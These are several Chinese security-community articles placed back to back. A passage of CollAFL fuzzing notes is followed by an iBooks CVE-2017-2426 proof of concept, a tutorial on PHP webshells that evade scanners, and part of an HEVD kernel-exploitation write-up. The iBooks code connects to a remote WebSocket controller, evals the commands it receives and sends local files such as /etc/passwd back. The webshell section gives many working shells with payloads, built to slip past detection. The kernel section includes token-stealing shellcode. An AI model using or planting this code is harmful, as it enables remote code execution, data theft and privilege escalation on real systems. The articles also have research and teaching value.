最终，calcFmul 函数将输出以下四个：
* 已经解决的基本块集合 Solv
* 尚未解决的基本块集合 Unsol
* 已经解决的基本块集合与参数的映射关系 Params：$BacicBlock \to <x,y,z>$
* 此时的 hash 表
需要注意的是 Fmul 无法保证通过选择适当的参数来达到 **防止任何哈希冲突** ，因此 calcFmul
算法会将可能导致哈希碰撞的基本块单独保存，并使用其他方式处理。calcFmul 能保证的是， **calcFmul 解决的基本块中不会产生任何哈希碰撞**
。
**Fmul 的哈希值必须在运行时计算得出** 。
##### 2) CalcFhash
接下来，collAFL 将会处理那些通过 calcFmul 算法求解后会产生哈希碰撞的基本块。对于这些无法通过 $Fmul$ 方程解决的基本块，其新的
hash 将被称为 $Fhash$，Fhash 的获取算法如下所示：
可以看到，对于这些 **剩余未解决** 的基本块来说， **随机给每个基本块的每个入边分配一个 hash 值** ，即是 Fhash
的求解方式。求解完成后，输出此时的哈希表以及剩余尚未分配完成的哈希。
之后，在运行时，Fhash 的值便可以通过查询先前生成的 **HaspMap** 表得到：$Fhash(cur, prev) =
hash_table_lookup(cur, prev)$。
由于哈希表的查找比 Fmul 的算数计算慢的多，因此 Unsol 集合里的基本块数量必须尽可能地小。
#### b. 基本块 **只有一个前驱基本块**
若当前遍历到的基本块只有一个基本块，则在该边的结束块中， **直接** 为该边分配一个不与其他 hash 冲突的新 hash 值：$Fsingle(cur,
prev) = c$，其中 c 是一个与其他 hash 不同的常量。
这里的 hash 分配， **将在给其他基础块计算完 Fmul 和 Fhash 后再来执行** ，以尽可能地避免哈希碰撞。
由于这里的哈希分配与运行时的基本块前后信息无关（因为此时基本块只有一个前驱基本块），因此可以直接在插桩时便硬编码进入，无需运行时再计算 hash。
> 由于有大概 60% 以上的基本块只有一条前驱边，因此这样的 hash 分配将会节省 fuzz 的很多开销。
#### c. 整体解决方案
首先。 **确保哈希值空间大小大于边的数量** ，否则将无法避免哈希碰撞。
之后，根据上面所介绍的算法与步骤，执行以下操作：
### 3\. 开销分析
不同哈希算法的开销如下：$cost(Fhash) > cost(Fmul) > cost(Fsingle) \approx 0$
其中，根据经验所示，大部分基础块都只有一个入边，并且 unsol 基础块的数量非常的少：
$num(Fsingle) > num(Fmul) >> num(Fhash) \approx 0$
因此，整体上 collAFL 降低哈希碰撞的方式的实用性是比较高的。
### 4\. 对间接调用的处理
受限于静态分析的精度，一些 **被间接调用** 的基本块，可能会被错误归类为 **只有单个或者没有** 前驱基本块，影响实际使用效果。
> 即被间接调用的基本块，可能在调用图上没有明显的调用入边。
因此实际实现时，CollAFL 将会把 **没有被任何调用点直接调用** 的函数入口，标记为 **有多个前驱基本块**
的入口基本块，即按照有多个前驱基本块的方式（Fmul + Fhash）来计算 hash，强制不走 Fsingle 的这条路。
同时，CollAFL 还会将多个间接调用指令，展开为直接调用指令集合和一条间接调用指令，与 gcc 中的 **去虚拟化技术** 类似。
> gcc 的去虚拟化技术，指的是通过一系列的分析，最终将一些 **不确定的虚拟调用点** ，与 **确定的虚函数** 绑定，从而
> **转化成了普通的直接函数调用** ，去除了间接虚拟调用。
经过上述两步操作后，CollAFL将会减少那些 **被识别为只有单个前驱基本块（或没有前驱基本块）** 的基本块数量。
CollAFL 的哈希碰撞降低技术只确保 **消除已知边的碰撞** ，因此受限于静态分析技术，仍然可能存在哈希碰撞。
## 三、种子变异策略
该论文提出了以下种子变异观点：
* 如果某条路径有许多 **未探索过的相邻分支** ，或者 **未探索过的相邻后继节点** ，则该路径的变异可能可以探索出新的路径
* 如果某条路径上 **存在较多内存访问操作** ，则该路径 **有一定概率来触发潜在内存漏洞** ，而对该路径的 **突变也有可能触发** 漏洞。
并根据上述观点，给出三个评估种子权重的方程：
* 探索 **未探索过的相邻分支** 策略：
Weight_Br(T) = \sum_{bb\in Path(T) \and <bb, bb_i>\in EDGES}IsUntouched(<bb,
bb_i>)
* 探索 **未探索过的相邻后继节点** 策略：
Weight_Desc(T)=\sum_{bb\in Path(T) \and IsUntouched(<bb, bb_i>)} NumDesc(bb_i)
NumDesc(bb) = \sum_{<bb, bb_i>\in EDGES} NumDesc(bb_i)
* 探索 **存在较多内存访问操作的节点** 策略：
Weight_Mem(T) = \sum_{bb\in Path(T)} NumMemInstr(bb)
## 四、评估
评估分为两部分，分别是评估 CollAFL 降低哈希碰撞策略的效果，以及种子变异策略的效果。
### 1\. 降低哈希碰撞
首先给出 AFL fuzz 不同项目的哈希碰撞效果，可以看到，碰撞比率还是比较高的：
接下来再给出 CollAFL 哈希的效果，可以看到相比于 AFL，CollAFL 更好的利用了哈希空间，极大的降低了碰撞比率：
### 2\. 种子变异
这是 CollAFL 分别使用三种种子变异策略运行200小时后的效果：
可以看到，这三种变异策略均跑出了更多的 crash，取得了不错的效果。 | 社区文章 |
# 【技术分享】CVE-2017-2426：苹果iBook正在利用JavaScript“读”你（含演示视频、POC）
|
##### 译文声明
本文是翻译文章，文章来源：s1gnalcha0s.github.io
原文地址：<https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
稿费：50RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
“是的，书很危险。它们应该是危险的——因为它们蕴含思想。”——彼得•豪特曼
在前一篇关于ePub解析器的文章（即，[这本书正在读你——利用支持ePub书籍格式的服务和阅读软件](https://s1gnalcha0s.github.io/epub/2017/01/25/This-book-reads-you.html)）中，我提到了使用ePub的脚本功能对用户执行本地攻击的话题。
苹果刚刚公布了一个安全漏洞，即我去年在iBooks上报告的一个问题：允许在打开书籍时访问用户系统上的文件。 El
Capitan的iBooks将使用file://origin打开一个ePub，这将允许攻击者在打开一本书时访问用户的文件系统。
（[CVE-2017-2426](https://support.apple.com/en-us/HT207615)）
为了帮助演示如何使用这种方式对用户进行攻击，我将WebSocket客户端添加到了一本书中，以便打开该书的所有用户都将连接到一个WebSocket控制器服务器，该服务器可以为他们发送任意指令。
只要用户将书打开，ePub中的WebSocket客户端就处于允许访问的状态（如果向用户提供了值得阅读的内容的话，那么电子书就很可能会长时间处于打开状态）。
例如，向用户发送一本图书：
打开书籍时，iBooks将连接到WebSocket控制器：
连接到WebSockets控制器的iBooks。如果阅读器含有CVE-2017-2426（file://origin）漏洞的话，则攻击者就可以获取本地文件了：
****演示** 视频**
**POC**
您可以使用这里的POC书亲自试验一下。 您可以在Apple iBooks或Adobe Digital Editions等阅读器中打开它。
免责声明：虽然POC将连接到我的控制器，但我保证不会干任何坏事。
您也可以修改它，使其指向自己的控制器：
curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub
unzip poc.epub; rm poc.epub
poc.epub/epub/main.js的内容
WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
var socket = new WebSocket(WebSocketController, 'echo-protocol');
socket.onopen = function(evt) { onopen() };
socket.onmessage = function(msg) { onmessage(msg) };
socket.onclose = function(evt) { onerror() }
function onopen()
{
message('Connected to WebSocket Controller: ' + WebSocketController);
}
function onerror()
{
message('Unable to connect to WebSocket Controller: ' + WebSocketController);
}
function onmessage(msg)
{
//just eval anything sent from the controller
response = eval(msg.data);
//send response back to controller
socket.send(response);
}
function get(loc) {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'file://' + loc,false);
xmlhttp.send();
//populate the message element
message(xmlhttp.responseText);
return xmlhttp.responseText;
}
function message(message) {
document.getElementById("message").innerText = message;
return message;
}
function showExfil() {
get('/etc/passwd');
}
zip -r poc.epub *
**Node.js WebSocket控制器**
curl https://s1gnalcha0s.github.io/assets/controller/server.js -o server.js
npm install websocket
node server.js
本文到此就结束了，祝阅读愉快！ | 社区文章 |
## 前言
看了很多师傅关于webshell的文章，可谓是各式各样，字符的，汉字的，混淆的，不可打印的，难免让我心痒痒也想来试一试，以d盾2.1.6.2扫不出来为目标
说道php，大部分的webshell（小马）归根到最后都是希望能够实现代码（或命令）执行，无外乎就离不开eval和assert，所以这篇文章也是以此为核心，提供一些绕过的思路。（抛砖引玉~）
## 字符串函数（与类的结合）
* 关于字符串函数，尝试了很多，核心在于利用字符串函数进行各种错综复杂的拼接，然后实现可变函数调用，实现代码执行
* 但是d盾对于拼接和可变函数的识别是比较有效的
* 比如：之前在p师傅博客看的这种
* 确实够绕够混淆，但是放在d盾面前直接爆红了
* 所以直接赤裸裸的用 **可变函数** 这条思路可以暂且放下了
* 那么用字符串函数处理一下简单的放到函数里面效果如何
* 好像也是不行，那放到类里面会如何呢？
class A{
public function test($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A();
$obj->test($_GET[1]);
* payload=shell.php?0=assertphpinfo();
* 看来真应了那句话， **没有什么是加一层解决不了的，如果有，那就再加一层** ，本文下面的很多尝试都有或多或少基于这句话，在混淆静态扫描很有效果。
## 类与魔术方法
既然可以用类写，那是不是可以把类里魔术方法都试验一遍
### 构造和析构方法
class A{
private $name;
public function __construct($name)
{
$this->name = $name;
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A($_GET[1]);
## 析构方法
class B{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __destruct()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
}
}
$obj = new B($_GET[1]);
### get和set方法
## set方法
class Demo{
public function __set($name, $value)
{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
$obj->$_GET[1]='占位的';
## get方法
class Demo{
public function __get($name)
{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
echo $obj->$_GET[1];
* 整体看会发现get和set方法也是比较简单的，比较省力。而且，这个字符串处理函数确实好用，这也算是增加一层的感觉（后面也有相关案例）
### 其他魔术方法
其他魔术方法都可以沿用这种方式，与此雷同，我就把代码直接放过来，不多解释了，大家可以在此基础更多发挥
## toString方法
class Demo
{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __toString()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
return '占位';
}
}
$obj = new Demo($_GET[1]);
echo $obj;
## clone方法
class Demo
{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __clone()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
}
}
$obj = new Demo($_GET[1]);
$obj2 = clone $obj;
## call方法
class Demo
{
public function __call($name,$args)
{
$name($args[0]);
}
}
$obj = new Demo();
$obj->$_GET[0]($_GET[1]);
## callStatic方法（最简单）
class Demo{
public static function __callStatic($name, $arguments)
{
$name($arguments[0]);
}
}
Demo::$_GET[0]($_GET[1]);
## isset方法
class Demo{
public function __isset($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
isset($obj->$_GET[0]);
## unset方法
class Demo{
public function __unset($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
unset($obj->$_GET[0]);
可以看出来，能够传参的魔术方法最简单，而d盾都是扫不出来的，只能说php语法过于灵活，诸如`Demo::$_GET[0]($_GET[1])`或者是`$obj->$_GET[0]($_GET[1])`这种形式的语法结构，正则匹配也是很难去推测的。
## 代码结构与包含（php7可用）
从上个板块的试探中已经看出了一些端倪，那就是可以通过不同的代码结构进行嵌套，而绕过扫描，那我们就来进行下一步的试探。
### try...catch...
* 简单包在函数里
function say($name){
try{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}catch (Exception $e){
var_dump($e);
}
}
say($_GET[1]);
这样就解决的文章开头部分无法在函数里出现的问题
* 包含类里面（php7可用）
因为php7之后，assert已经作为语言构造器的方式出现，也就是说不可以向可变函数那样，通过拼接执行，所以必须要直面这个问题。以下这个方法可以直接用assert，而实现绕过。
class A{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __destruct()
{
try{
assert($this->name);
}catch (Exception $e){
$e->getMessage();
} finally {
echo 'suibian';
}
}
}
new A($_GET[1]);
可以看出，多加个一层，就扫不出来了，`try...catch...`的结构很灵活，还可以在catch，finally的代码块里写。
## 写到catch里
class A{
public function __destruct()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
assert($e->getMessage());
} finally {
echo 'suibian';
}
}
}
new A();
## 写到finally里
class A{
public function __destruct()
{
try{
$this->a = $_GET[1];
$name=substr($this->a,0);
}catch (Exception $e){
echo 'abc';
} finally {
assert($name);
}
}
}
new A();
其中，写到finally中做了一个处理，如果直接用会被识别出来，所以上面加了一个字符串函数。另外，换了变量，竟然作用域能够得到，还是php够灵活，其实用加个构造方法就没什么问题的，只不过想让代码量更短小（其实就是懒了）
### 包多层混淆（php7可用）
刚刚试过函数包含`try...catch...`，但是，还是用的可变函数，能不能assert甚至eval也都能直接用，试验下来，直接放到try和finally里是不行的（还可以试验一下字符串处理函数。。。），放到catch里可以
function show()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
assert($e->getMessage());
} finally {
echo 'suibian';
}
}
show();
但是，还是不死心，如何在try里能通过，既然两层不够，就再加一层，毕竟还有eval没有试验呢
现实还是很无情的，不过，看起来确实是这样的，外面再加一层`try...catch...`不过是换汤不换药罢了，显得不太礼貌哈。但是，有意思的事情发生了，我在上面加一个`try...catch..`,就扫不出来了。
try {
echo '占位';
}catch (Exception $e){
echo '占位';
}
try {
function show($name){
try{
assert($name);
}catch (Exception $e){
var_dump($e);
}
}
show($_GET[1]);
}catch (Exception $e){
echo 123;
}
既然包多层是好用的，在不用类的情况下，尝试那再多包几层，看可不可行，把for，foreach，全部都用上
function say($name)
{
for ($i = 0; $i < 1; $i++) {
foreach ([1] as $v){
try {
assert($name);
throw new Exception($name);
}catch (Exception $exception){
assert($exception->getMessage());
}
}
}
}
say($_GET[1]);
发现，只要包的层够多，无论是在try的哪个位置写都扫不出来了，甚至eval写进去也是没问题的。
## eval和assert（php7可用）
其实，d盾在识别eval，assert上也算是挺严格的了，明面上的方式识别率都不低，而且，像早先冰蝎写到类里的方式，用invoke魔术方法触发，也是毫不迟疑的识别出来，所以要考虑一些比较稀奇古怪的方式来试试。
* 一个奇怪的知识点(php5可用)
在各种测试的过程中发现，`eval('$a')`中，单引号包裹的变量是能够识别的，变量的值可以被替换再由eval执行，而`assert('$a')`中就不可以，所以做如下尝试。
$a = $_GET[1];
$p = $_GET[2];
abd($a,$p);
function abd($a,$p){
eval('$a($p);');
}
### 注释混淆（php7）
从上文推测，可以尝试其他的混淆方式，比如用注释混淆一番
非常好用，其中注释的内容要够多，后面也要拼点啥，要不然也能扫出来,单行注释也能写，效果一样
## 多行注释
function demo($name)
{
eval("/*cesjoe*/" . $name." " );
}
demo($_GET[1]);
## 单行注释也可以
function demo($name)
{
eval("//\r\n" . $name." " );
}
demo($_GET[1]);
* assert如何写
##多行注释
function demo($name)
{
if ($name != null) {
$name = $name;
assert("/*cesjoe*/" . $name);
}
}
demo($_GET[1]);
##单行注释
function demo($name)
{
if ($name != null) {
$name = $name;
assert("//jaoijgoia\r\n" . $name);
}
}
demo($_GET[1]);
测试下来发现，assert的识别感觉比eval还严格呢，需要再包一层，而且还要加一行莫名其妙的代码糊弄一下，才扫不出来。
### 不用注释
其实刚刚整体测试下来发现，不用注释，随便拼点什么都能绕过去，所以，就做了一番尝试
function demo($name)
{
if ($name != null) {
$name = $name;
assert( $name."echo 123;" );
}
}
demo($_GET[1]);
function demo($name)
{
eval("echo 123;" . $name."echo 456; " );
}
demo($_GET[1]);
的确如，诸如eval和assert，随便拼点什么都能过去。既然如此，能不能干脆把最外面的一层去掉，还原真正的‘一句话’呢？
看样没法如意，但是，从说明中看出来，它会自己去拼接推测，那我中间拦一道试试行不行
$name = $_GET[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
果然能过得去，assert也可以依照此法写出来
$name = $_GET[1];
$name = substr($name,0);
assert("\$a=123 and "."$name"."and 33333;",'echo 123;');
其中，assert中第二个参数要写上，才能绕过，但是依然会给一个系统提醒（deprecated），因为assert推荐写法直接写表达式，而不是字符串拼接，虽然能够执行，参数是字符串的功能已经过时了，由此也可以看到，可变函数的路是越来越窄喽。
## 其他方式
除了上面的众多写法外，还有一些利用可变函数结合的方式特殊方式，就在这边简单列出来看看，都是测试过能绕过的
### 回调函数
* `array_map()`
function Demo($b){
array_map(key($b), $b);
}
Demo($_GET);
## payload:shell.php?assert=phpinfo();
* `array_filter()`
function temp($x,$y){
$g = array(1,2,3,4,5,$y);
array_filter($g,$x);
}
temp($_GET[1],$_GET[3]);
## payload:shell.php?1=assert&3=phpinfo();
* `array_wal_recursive()`
function temp($x,$y){
$g = array(1,2,3,4,5,$y);
array_uintersect($g,$g,$x);
}
temp($_GET[1],$_GET[3]);
## payload:shell.php?1=assert&3=phpinfo();
* `array_uintersect_uassoc()`
function temp($x,$y){
$g = array('a'=>1,'b'=>2,'c'=>3,$y=>'d');
array_uintersect_uassoc($g,$g,$x,$x);
}
temp($_GET[1],$_GET[3]);
## payload:shell.php?1=assert&3=phpinfo();
* `array_uintersect_assoc()`
function temp($x,$y){
$g = array(1,2,3,4,5,$y);
array_uintersect_assoc($g,$g,$x);
}
temp($_GET[1],$_GET[3]);
## payload:shell.php?1=assert&3=phpinfo();
### 用反射的方式
class One
{
var $b;
function action($name)
{
$temp=$name[0];
$temp($name[1]);
}
}
$reflectionMethod = new ReflectionMethod('One', 'action');
echo $reflectionMethod->invoke(new One(), $_GET);
## payload:shell.php?0=assert&1=phpinfo();
用反射的时候，如果是用ReflectionFunction（函数）反射类会被扫出来，所以只能用ReflectionMethod（对象的方法）反射类。
### 用反序列化的方式
class Basic{
public $name;
public $age;
public $args;
public function __wakeup()
{
$tmp = $this->name.$this->age;
$this->name = new $tmp();
}
public function __destruct()
{
$this->name->action($this->args);
}
}
class Process{
public function action($arg){
call_user_func($arg[0],$arg[1]);
}
}
unserialize($_GET[1]);
## payload:shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:"Pro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}
这个写的有点冗长，回头还可以再简短些试试，应该可以。
## 小结
整篇文章针对webshell免杀的绕过方式罗列，总结下来可以体现为以下两个思路出发
1. 多层包含，凡是具有代码块结构的（流程控制，类，函数，异常处理），都可以尝试多次多顺序的包含尝试
2. 字符串处理，如果使用可变函数，多加几层字符串处理，会让其无法有效推测出最终拼接的字符串，尤其是变量同名覆盖，检测难度也会增加。 | 社区文章 |
# 【技术分享】HEVD Kernel Exploitation--Uninitialized Stack & Heap
|
##### 译文声明
本文是翻译文章，文章来源：whereisk0shl.top
原文地址：[http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html](http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html)
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00前言**
****
我是菜鸟，大牛们请喷T.T
HEVD是HackSys的一个Windows的训练项目，是一个存在漏洞的内核的驱动，里面存在多个漏洞，通过ControlCode控制漏洞类型，这个项目的驱动里几乎涵盖了内核可能存在的所有漏洞，从最基础的栈溢出，到池溢出，释放后重用等等类型，是一个非常好的项目。非常适合我们熟悉理解Windows内核漏洞的原理，利用技巧等等。
项目地址：<https://github.com/hacksysteam/HackSysExtremeVulnerableDriver>
项目可以通过WDK的build方法直接编译，详细编译方法可以看《0day安全：软件漏洞分析技术》中内核漏洞章第一节内容有介绍，也可以百度直接搜到，通过build方法可以编译出对应版本的驱动.sys，然后通过osrloader工具注册并加载，之后就可以通过Demo来进行调试和提权了。
在这个项目中包含了两种漏洞类型，叫做Uninitialized Stack和Uninitialized
Heap，分别是未初始化的栈和未初始化的堆，具体的漏洞形成原因可以通过阅读HEVD项目的源码和说明了解。大致漏洞形成的原因就是在驱动没有对结构体进行初始化，从而导致可以通过提前覆盖内核堆栈的方法控制关键结构体，在没有进行初始化和结构体内容检查的情况下，直接引用结构体的函数指针，最后可以通过提前覆盖的方法控制结构题的函数指针，跳转到提权shellcode，来完成提权。
这篇文章的内容不再分析漏洞成因，成因都非常简单，我将就几方面内容和大家一起分享一下学习成果，第一部分将分享一下HEVD项目中通用的提权shellcode，第二部分将跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages进行kernel
stack spray的方法，第三部分我将分享一下HEVD中的一个challenge，是关于未初始化堆空间利用的方法。
HEVD项目中，不仅提供了包含漏洞的驱动源码，还包含了对应利用的Exploit，但是在Uninitialized
Heap漏洞中提出了一个challenge。
下面我们一起来开始今天的学习之旅吧！
**0x01 privilege Escalation Shellcode**
关于提权的shellcode方法有很多，看过我之前对于CVE-2014-4113分析的小伙伴一定对替换token的这种方法比较熟悉，在我的那篇分析里，利用替换token这种shellcode是用C来实现的，当然，还有其他方法，比如将ACL置NULL这种方法，今天我还是给大家一起分享一下替换token这种方法，这种方法非常好用也非常常用，HEVD中替换shellcode的方法，是用内联汇编完成的。
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
这种方法，首先会通过fs段寄存器获取_KTHREAD结构题，fs段寄存器存放了关于线程的各种信息，当处于内核态时，fs的值为0x30，处于用户态时fs值则为0x3b。
kd> p
01352782 57 push edi
kd> p
01352783 60 pushad
kd> p
01352784 33c0 xor eax,eax
kd> p
01352786 648b8024010000 mov eax,dword ptr fs:[eax+124h]
kd> dd 0030:00000124
0030:00000124 859615c0
随后获取到KTHREAD之后，我们可以获取到EPROCESS结构，这个结构中包含了PID等信息，最为关键的是，在内核中是以链表存放的，而这个链表就在_EPROCESS结构中。
kd> dd 859615c0+50
85961610 85a5e538 09000000 00000000 00000000
85961620 00000000 00000037 01000002 00000000
85961630 85961680 82936088 82936088 00000000
85961640 002e5ef3 00000000 7ffdd000 00000000
85961650 006a0008 00000000 859616c8 859616c8
85961660 6751178a 0000006e 00000000 00000000
85961670 00000000 00000000 00000060 82972b00
85961680 859617fc 859617fc 859615c0 843b0690
kd> dt _EPROCESS 85a5e538
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27c2c`295b0eb9
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000c64 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]
一旦获取了EPROCESS结构，我们能做很多事情，最简单的，观察偏移0xb4位置，存放着当前进程的PID，而0xb8位置，存放着一个LIST_ENTRY结构，这个结构存放着前面一个EPROCESS和后一个EPROCESS，这就很有意思了。
我可以通过这种方法，遍历当前系统所有存在的EPROCESS，而且能够找到System的EPROCESS，实际上，这个_EPROCESS，我们通过Windbg的!process
0 0的方法可以获取到。
kd> dt _LIST_ENTRY 841bdad0+b8
urlmon!_LIST_ENTRY
[ 0x84e64290 - 0x8294a4f0 ]
+0x000 Flink : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
+0x004 Blink : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]
kd> dd 841bdad0+b8
841bdb88 84e64290 8294a4f0 00000000 00000000
841bdb98 00000000 00000000 0000000d 8293db40
841bdba8 00000000 00644000 00246000 00000000
841bdbb8 00000000 00000000 00000000 87a01be8
841bdbc8 87a0130b 00000000 00000000 00000000
841bdbd8 00000000 00000000 841de2e0 00000000
841bdbe8 00000005 00000040 00000000 00000000
841bdbf8 00000000 00000000 00000000 00000000
kd> dt _EPROCESS 84e64290-b8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27bbd`9fafafa2
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000100 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
回到shellcode，后面有一个loop循环，在循环中做的事情就是不断通过链表的前向指针和后向指针找到System的_EPROCESS结构，也就是＋0xb4位置的PID为4的结构，在结构中存放着token，只要找到System的token，替换掉当前进程的token，就可以完成提权了。
**0x02 NtMapUserPhysicalPages and Kernel Stack Spray**
在下面的调试中，由于我多次重新跟踪调试，所以每次申请的shellcode指针地址都不太一样，但不影响理解。
在HEVD项目中涉及到一种方法，可以进行Kernel Stack
Spray，其实在内核漏洞中，未初始化的堆栈这种漏洞相对少，而且在Windows系统中内核堆栈不像用户态的堆栈，是共用的一片空间，因此如果使用Kernel
Stack Spray是有一定风险的，比如可能覆盖到某些其他的API指针。在作者博客中也提到这种Kernel Stack
Spray是一种比较冷门的方法，但也比较有意思。这里我就和大家一起分析一下，利用NtMapUserPhysicalPages这个API完成内核栈喷射的过程。
为什么要用NtMapUserPhysicalPages，别忘了我们执行提权Exploit的时候，是处于用户态，在用户态时使用的栈地址是用户栈，如果我们想在用户态操作内核栈，可以用这个函数在用户态来完成对内核栈的控制。
j00ru博客对应内容文章地址：<http://j00ru.vexillium.org/?p=769>
首先我们触发的是Uninitialized
Stack这个漏洞，在触发之前，我们需要对内核栈进行喷射，这样可以将shellcode函数指针覆盖到HEVD.sys的结构体中。用到的就是NtMapUserPhysicalPages这个方法。
这个方法存在于ntkrnlpa.exe中，也就是nt!NtMapUserPhysicalPages，首先到达这个函数调用的时候，进入内核态，我们可以通过cs段寄存器来判断，一般cs为0x8时处于内核态，为0x1b时处于用户态。
kd> r cs
cs=00000008
kd> r
eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0
eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000292
在此之前，内核栈的情况如下图：
注意esp和ebp，现在处于内核栈中，这时候，我们可以通过对内核栈下写入断点，这样在向栈写入数据，也就是栈喷射时会中断。
kd> g
nt!memcpy+0x33:
82882393 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到，在nt!memcpy中断，这时候执行的是一处拷贝操作，这时候通过kb查看一下堆栈回溯。
kd> kb
ChildEBP RetAddr Args to Child
94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33
94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f
94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e
94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall
可以看到，函数的调用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray ->
memcpy，来看一下这个过程的函数实现，首先是nt!NtMapUserPhysicalPages
NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)
if ( (unsigned int)NumberOfPages > 0xFFFFF )
return -1073741584;
BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;
v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;
if ( v33 <= BaseAddressa )
return -1073741584;
v4 = &P;//栈地址
v39 = 0;
v37 = &P;
if ( PageFrameNumbers )
{
if ( !NumberOfPages )
return 0;
if ( (unsigned int)NumberOfPages > 0x400 )//如果要超过1024，就要扩展池，不过这里不用
{
v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);
v37 = v4;
if ( !v4 )
return -1073741670;
}
v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned
int)PageFrameNumbers, v4);//v4 要拷贝的目标 内核栈 a2，要覆盖的EoPBuffer 长度是4*NumberOfPages
对应的注释已经标记，在函数中调用了MiCaptureUlongPtrArray，会将传入NtMapUserPhysicalPages的参数，长度也就是NumberOfPages，内容也就是PageFrameNumbers(详情请参考Exploit中的UninitializedStackVariable.c)，然后进入MiCaptureUlongPtrArray。
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx@1
v3 = 4 * a1;
if ( v3 )
{
if ( a2 & 3 )
ExRaiseDatatypeMisalignment();
if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )
*(_BYTE *)MmUserProbeAddress = 0;
}
memcpy(a3, (const void *)a2, v3);
return 0;
}
进入后，会将shellcode的内容拷贝到a3，也就是&P，内核栈中。
kd> p
nt!memcpy+0x35:
82882395 ff2495ac248882 jmp dword ptr nt!memcpy+0x14c (828824ac)[edx*4]
kd> dd 94d139e4
